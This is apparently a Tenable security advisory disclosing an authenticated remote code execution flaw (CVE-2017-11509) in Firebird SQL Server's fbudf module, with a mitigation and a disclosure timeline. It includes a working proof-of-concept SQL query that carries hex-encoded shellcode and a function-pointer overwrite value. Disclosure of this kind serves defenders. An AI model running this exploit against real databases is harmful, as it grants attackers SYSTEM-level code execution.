Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

[R1] Firebird fbudf Module Authenticated Remote Code Execution

Critical

Synopsis

While investigating CVE-2017-6369 for Firebird SQL Server, Tenable discovered an authenticated remote code execution vulnerability. The vulnerability exists because Firebird allows users to define external functions that don’t match the original definition of the entry point.

For example, the documentation for string2blob indicates it’s defined like this:

DECLARE EXTERNAL FUNCTION string2blob
   VARCHAR(300) BY DESCRIPTOR,
   BLOB RETURNS PARAMETER 2
   ENTRY_POINT 'string2blob' MODULE_NAME 'fbudf'

However, an authenticated user could declare a second external function that looks like this:

DECLARE DECLARE EXTERNAL FUNCTION a6
  VARCHAR(300) BY DESCRIPTOR,
  VARCHAR(400) BY DESCRIPTOR
  RETURNS INTEGER
  ENTRY_POINT 'string2blob' MODULE_NAME 'fbudf'

You can see that the original string2blob has a BLOB as the second parameter and the second definition has a VARCHAR(400) as the second parameter. By passing in a crafted VARCHAR during a query, an authenticated attacker can overwrite the blob_put_segment function pointer in the blobcallback struct. string2blob will eventually call the overwritten function pointer which leads to remote code execution as SYSTEM.

We wrote a proof of concept using the IE8 on Win7 (x86) virtual machine and Firebird SQL Server 2.5.7 32-bit release. The proof of concept pops calc.exe.

SQL> select a6((select x'31db648b7b308b7f0c8b7f1c8b47088b77208b3f807e0c3375f289c703783c8b577801c28b7a2001c789dd8b34af01c645813e4372656175f2817e086f63657375e98b7a2401c7668b2c6f8b7a1c01c78b7caffc01c789d9b1ff53e2fd6863616c6389e252525353535353535253ffd7' from rdb$database), (select x'11111111C8FD8503' from rdb$database)) from rdb$database;

Solution

No official solution exists. However, Tenable believes that disabling external UDF libraries from being loaded mitigates this issue. In order to achieve this, edit the default configuration from UdfAccess=Restrict to UdfAccess=None. This will prevent the fbudf module from being loaded, but it will also break other functionality relying on modules.

Additional References

Disclosure Timeline

2017-04-03 - Issue discovered
2017-04-04 - Submitted to ZDI as case xorrbit0001
2017-04-10 - ZDI responds saying they are not interested in vulnerabilities affecting this product
2017-04-10 - Tweet to @firebirdsql asking for preferred method of vuln reporting. Web site doesn't have that info.
2017-04-11 - Firebird replies, says open ticket and set security level appropriately
2017-04-11 - Tenable opens ticket CORE-5518
2017-05-16 - Tweet to @firebirdsql asking about CORE-5518, since we can't update it, assign it, etc.
2017-08-02 - Tenable emails a Firebird contact asking about the status of the ticket.
2017-08-03 - Firebird replies, saying ticket got unnoticed due to issues on their end, but are now looking at it.
2017-08-18 - Tenable emails Firebird asking for an update.
2017-08-18 - Firebird replies, but isn't clear on the actual status and if it's being fixed.
2017-08-23 - Tenable emails Firebird asking for an update.
2017-08-23 - Firebird replies, indicating they are looking at it and treating it as a serious security issue.
2017-09-21 - Tenable emails Firebird asking for an update and indicating that a 90 day disclosure policy is in effect as of August 3rd when the issue started being looked at by Firebird.
2017-11-02 - Firebird responds saying they do not intend to fix this in any current release.
2017-11-03 - Tenable assigns CVE-2017-11509.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2017-11509
Tenable Advisory ID: TRA-2017-36
Credit:
Andrew Orr, Tenable
CVSSv2 Base / Temporal Score:
9.0 / 8.1
CVSSv2 Vector:
AV:N/AC:L/Au:S/C:C/I:C/A:C
Affected Products:
Firebird 2.5.7, 3.0.2
Risk Factor:
Critical
Additional Keywords:
CORE-5518

Advisory Timeline

11-21-2017 - [R1] Initial Release

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Try Tenable Web App Scanning

Enjoy full access to our latest web application scanning offering designed for modern applications as part of the Tenable One Exposure Management platform. Safely scan your entire online portfolio for vulnerabilities with a high degree of accuracy without heavy manual effort or disruption to critical web applications. Sign up now.

Your Tenable Web App Scanning trial also includes Tenable Vulnerability Management and Tenable Lumin.

Buy Tenable Web App Scanning

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

5 FQDNs

$3,578

Buy Now

Try Tenable Lumin

Visualize and explore your exposure management, track risk reduction over time and benchmark against your peers with Tenable Lumin.

Your Tenable Lumin trial also includes Tenable Vulnerability Management and Tenable Web App Scanning.

Buy Tenable Lumin

Contact a Sales Representative to see how Tenable Lumin can help you gain insight across your entire organization and manage cyber risk.

Try Tenable Nessus Professional Free

FREE FOR 7 DAYS

Tenable Nessus is the most comprehensive vulnerability scanner on the market today.

NEW - Tenable Nessus Expert
Now Available

Nessus Expert adds even more features, including external attack surface scanning, and the ability to add domains and scan cloud infrastructure. Click here to Try Nessus Expert.

Fill out the form below to continue with a Nessus Pro Trial.

Buy Tenable Nessus Professional

Tenable Nessus is the most comprehensive vulnerability scanner on the market today. Tenable Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy a multi-year license and save. Add Advanced Support for access to phone, community and chat support 24 hours a day, 365 days a year.

Select Your License

Buy a multi-year license and save.

Add Support and Training

Try Tenable Nessus Expert Free

FREE FOR 7 DAYS

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Already have Tenable Nessus Professional?
Upgrade to Nessus Expert free for 7 days.

Buy Tenable Nessus Expert

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Select Your License

Buy a multi-year license and save more.

Add Support and Training